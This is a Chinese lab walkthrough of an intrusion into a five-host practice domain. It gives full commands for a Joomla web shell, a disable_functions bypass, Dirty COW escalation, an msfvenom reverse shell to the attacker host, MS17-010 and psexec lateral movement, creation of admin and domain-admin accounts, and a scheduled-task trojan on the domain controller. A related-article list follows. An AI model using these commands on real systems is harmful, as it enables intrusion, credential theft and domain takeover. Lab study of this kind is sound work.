因为这次为黑盒测试,给了5个虚拟机,centos为出网机器,具体的ip配置如下:
web-centos:192.168.93.100 外网:192.168.167.135
web-ubantu:192.168.93.120
win7:192.168.93.30
win2008:192.168.93.20
win2012:192.168.93.10
给ip是为了提前把网络调通,免得浪费不必要的时间,保证网络通畅后将其余ip视为不知,仅从web-centos开始;

就一个是双网卡,其余都是单网卡内网机器
centos网卡eth0设置为自动获取ip;
vim /etc/sysconfig/network-scripts/ifcfg-eth0)

然后重启网络服务/etc/init.d/network restart, 搞定。

一、拿下web-centos服务器


有22端口,简单的ssh尝试一下:
ssh root@192.168.167.135

手工尝试了几波不对,换条路在试试;
尝试打开80端口的网页,但一直在报502错误,以为是nginx有问题,折腾了半天,突然反应过来nginx是反向代理,实际的服务器是web-ubantu,我这个心情,(反向代理,越来越有意思了。。)
知道是joomla搭建的网站,网站目录探测一波,发现了:
后台地址:http://192.168.167.135/administrator/
配置文件泄露:http://192.168.167.135/configuration.php~

知道了数据库密码,3306也开着,尝试登录一波;

成功登录数据库,但管理员密码不知道,joomla官网有重置管理员密码的操作,
Joomla使用SQL代码,admin2 secret

INSERT INTO `umnbt_users`(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2','d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `umnbt_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');

通过查询来执行sql语句;


这里还有一个数据库的user表,上面这个添加错了,结果怎么也进不去,处处有坑啊;


终于登入后台了;通过修改模板来写入shell;




文件是在web-ubuntu的机器里;

上蚁剑连上;

虚拟终端执行命令,返回的是127;

查看php的配置情况;这个操作学习了;


服务端 disable_functions 禁用了命令执行函数,
目标是linux,并且没有禁用putenv函数,所以可以利用LD_PRELOAD绕过;
用蚁剑把 bypass_diablefunc.php 和 bypass_diablefunc_x64.so 上传到目标的同一目录,注意 .so 文件需要根据目标系统架构选择,然后访问 bypass_diablefunc.php,cmd 是执行的命令,outpath是读写权限的目录,sopath是 .so 文件的绝对路径。
工具下载地址: https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
payload 如下:

http://192.168.167.135/templates/beez3/bypass_disablefunc.php?cmd=whoami&outpath=/tmp/baji&sopath=/var/www/html/templates/beez3/bypass_disablefunc_x64.so


查看ip信息,发现ip并不是centos的,看了下应该是ubuntu的,说明真正的web服务后端是在ubuntu上,通过centos做了个nginx反向代理解析到Ubuntu上了。

分析:当前ubuntu的权限太低…并且内核很高,不好提权,想执行socks代理的程序,都成问题,并且ubuntu是不出网的,那么我有没有办法拿到centos的权限呢?既然做了反代,那么我能否看一下bash历史记录,找到一些遗漏的信息呢?(结果不行…),然后就各种配置文件找、有权限看的文件都看一下,想找到有泄露的信息;

尝试登录一波;

由于权限太小,考虑是否能提权;

内核版本需要在2.6.22以上,并且未打补丁,符合脏牛的使用条件;

提权成功了;

第一行中的-02要删除;

有权限了,首先当然是msf木马上去控了,方便后续操作;
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.167.131 LPORT=4444 -f elf > shell.elf
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.167.131
set lport 4444
exploit
将木马拷贝过去运行后;

第一台web-centos拿下了,下面开始进行内网横向移动;

二、内网横向移动

run get_local_subnets #查看路由段
run autoroute -s 192.168.93.0/24 #添加路由至本地
run autoroute -p #打印当前路由信息
background
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.0/24
exploit
因为后面几台都为windows,上CS更方便,这里用msf派生给CS会话;


打开msf,使用payload_inject模块注入到cobalt strike,注意使用的payload要和cs的一致为reverse_http,因为cs监听的是reverse_http;

meterpreter > background
msf5 exploit(multi/handler) > use exploit/windows/local/payload_inject
# 设置与cs相同的payload,别加x64,尽管被入侵系统是x64的;
msf5 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_http
msf5 exploit(windows/local/payload_inject) > set lhost 192.168.167.128
msf5 exploit(windows/local/payload_inject) > set lport 7777
# 设置刚才获得session
msf5 exploit(windows/local/payload_inject) > set session 1
msf5 exploit(windows/local/payload_inject) > set disablepayloadhandler true
msf5 exploit(windows/local/payload_inject) > run

不知为何报错没有成功,那就算了,

尝试爆破 windows 2008 的本地管理员
use auxiliary/scanner/smb/smb_login
set rhosts 192.168.93.20
set SMBUser administrator
set PASS_FILE /usr/share/wordlists/top1000.txt
run

使用psexec登陆win2008,没有打成功;
use exploit/windows/smb/psexec
set rhosts 192.168.93.20
set smbpass 123qwe!ASD
set smbuser Administrator
run

用use exploit/windows/smb/psexec_psh同样没有成功;

用exploit/windows/smb/ms17_010_psexec 尝试去打一个shell回来,没成功;
use exploit/windows/smb/ms17_010_psexec
set rhosts 192.168.93.20
set payload windows/meterpreter/bind_tcp
set lhost 192.168.167.131
set lport 6666
set SMBPass 123qwe!ASD
set SMBUser Administrator
run

用 use auxiliary/admin/smb/ms17_010_command 执行一些系统权限的命令,添加管理员用户尝试3389登录,失败;

use auxiliary/admin/smb/ms17_010_command
show options
set rhosts 192.168.93.20
set command net user test hongrisec@2019 /add #添加用户
run #成功执行
set command net localgroup administrators test /add #管理员权限
run #成功执行
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run #成功执行

可以执行命令,但在kali里远程桌面无法连接;
use auxiliary/admin/smb/psexec_command
set rhosts 192.168.93.20
set smbpass 123qwe!ASD
set smbuser Administrator
set command net user test hongrisec@2019 /add
run
set command net localgroup administrators test /add
run
set command ‘REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f’
run

添加域管账户
Net user demo demo /ad /domain
Net group “domain admins” demo /ad /domain

rdesktop -u test -p hongrisec@2019 192.168.93.20:3389
rdesktop -u Administrator -p 123qwe!ASD 192.168.93.20:3389
添加的用户是成功的,但没法远程连接,只能用Administrator账户远程登录;可能windowserver2008默认选择了”允许重新连接,但拒绝新用户登录“的功能了
一种方法是用反向代理的方法,在web-centos安装客户端,攻击机安装服务端,做好socks5反向代理,然后用代理在挂上远程桌面登录;

还有种方法是上个连接的神器:mobaxterm,通过web-centos的ssh来中转,因为该机器有双网卡;



成功连接了,有点猛是真的;
上mimikatz抓下密码:


net use \192.168.93.10\c$ “zxcASDqw123!!” /user:“Administrator”
dir \192.168.93.10\c$
重新生成一个木马,上传,
copy c:\phpstudy\www\yxcms\shell.exe \192.168.93.10\c$
设置一个任务计划,定时启动木马之后就能够获取域控的shell了
schtasks /create /tn “test” /tr C:\shell222.exe /sc once /st 22:51 /S 192.168.93.10 /RU System /u Administrator /p “zxcASDqw123!!”

type \192.168.93.10\c$\Users\Administrator\Documents\flag.txt

ATTCK实战系列三(msf域渗透)相关推荐

  1. ATTCK实战系列(三)

    靶机下载地址 漏洞详情 目标:域控中存在一份重要文件. 本次环境为黑盒测试,不提供虚拟机账号密码 环境配置 攻击机kali: 192.168.1.109 web-centos:192.168.1.11 ...

  2. 【Youtobe trydjango】Django2.2教程和React实战系列三【Django超级管理员和内置内容】

    [Youtobe trydjango]Django2.2教程和React实战系列三[Django超级管理员和内置内容] 1. Django数据初始化及超级管理员 2. 用户模块使用 1. Django ...

  3. ATTCK实战系列——红队实战(一)

    文章目录 环境搭建 渗透测试部分 phpmyadmin 日志 getshell yxcms 前端 XSS 任意文件写入 getshell 任意文件删除 后渗透阶段 域控信息收集 域外信息收集与渗透 3 ...

  4. ATTCK实战系列——红队实战(五)

    ATT&CK实战系列--红队实战(五) 文章目录 ATT&CK实战系列--红队实战(五) 前言 靶场搭建 网络配置 外网渗透 内网渗透 内网信息收集 msf反弹shell 设置路由 探 ...

  5. ATTCK实战系列——红队实战(—)

    ATT&CK实战系列--红队实战(-) 文章目录 ATT&CK实战系列--红队实战(-) 前言 一.环境搭建 1.1 靶场下载 1.2 网卡配置 二.外网渗透 三.内网渗透 1. 尝试 ...

  6. 红日ATTCK实战系列(一)

    靶机信息 靶机基本描述:红队实战系列,主要以真实企业环境为实例搭建一系列靶场,完全模拟ATT&CK攻击链路进行搭建 靶机下载地址:http://vulnstack.qiyuanxuetang. ...

  7. [VulnStack] ATTCK实战系列—红队实战(二)

    文章目录 0x00 环境搭建 0x01 信息收集 端口探测 目录扫描 0x02 漏洞利用 0x03 内网收集 主机信息搜集 域信息收集 内网漏洞扫描 0x04 横向渗透 MS17-010 PsExec ...

  8. java search 不能使用方法_ElasticSearch实战系列三: ElasticSearch的JAVA API使用教程

    前言 在上一篇中介绍了ElasticSearch实战系列二: ElasticSearch的DSL语句使用教程---图文详解,本篇文章就来讲解下 ElasticSearch 6.x官方Java API的 ...

  9. 数据治理从理论到实战系列(三)——cdh安装

    数据治理从理论到实战系列 提示:数据治理实战需要用到统一版本大数据开源组件,为了避免版本混乱导致的安装使用异常,我们先在这章节插入到了cdh安装 数据治理(三)cdh安装 数据治理从理论到实战系列 前 ...

  10. 渗透实战:内网域渗透

    前言 本文记录了一次针对具有二层内网的域环境进行渗透测试的过程,文中涉及了内网域渗透的基本方法.思路和技巧.交替使用了msf.CobaltStrike.frp.chisel.SharpSQLTools ...

最新文章

  1. 学会和同事相处的30个原则
  2. python线程(二)代码部分Threading模块
  3. 《C++ Primer 第五版》第二章(第5小节)——using和typedef,auto和decltype总结
  4. 自然语言处理以及对话系统知识点总结
  5. 信息学奥赛一本通C++语言——1097:求阶乘的和
  6. 你的企业离DevOps转型成功,就差这“七步法”路线图
  7. redis list设置过期时间_面试官:你在Redis中设置过带过期时间的Key吗?
  8. VLC解码播放H264文件
  9. 局域网https安全证书解决方案mkcert
  10. 初学博科YIGO2.0学习心得--下推
  11. 欲善其事,先利其器——青龙面板依赖安装教程
  12. 蹲草丛-dfs或者bfs找最小的连着草丛i
  13. Android Studio修改安卓模拟器的安装位置和SDK的位置
  14. 中国科学技术大学计算机研究生在哪个校区,中国科学技术大学有几个校区及校区地址 哪个校区最好...
  15. Come Clear - Hilary Duff(希拉瑞.达芙)
  16. 编写一个数字连连看小游戏
  17. 电脑蓝屏与硬盘温度过高有关系吗?电脑硬盘数据丢失了该怎么恢复?
  18. 基于RFID的智能仓储管理系统设计
  19. 佛山植物组织培养实验室必备设备
  20. Linux 系统如何快速入门?分享民工哥总结的经验

热门文章

  1. 如何将新的token发给前端比较好_前端工程师为什么要学习编译原理?
  2. oracle exists替换,oracle 优化or 替换为in、exists、union all的几种写法,测试没有问题!...
  3. domcontentloaded ajax,Ajax优化(1) — DOMContentLoaded
  4. php iterator接口,PHP预定义接口之Iterator(迭代器)接口演示
  5. 纷杂的Spring-boot-starter: 5 应用安全与spring-boot-starter-security
  6. c语言文件打开幕式,c语言奥运会开幕式
  7. oracle下拉菜单多选,多选下拉控件的使用(select-option)multiple-select
  8. [CF559C]Gerald and Giant Chess
  9. ubuntu16.04卸载火狐,Amazon
  10. C++STL之整理算法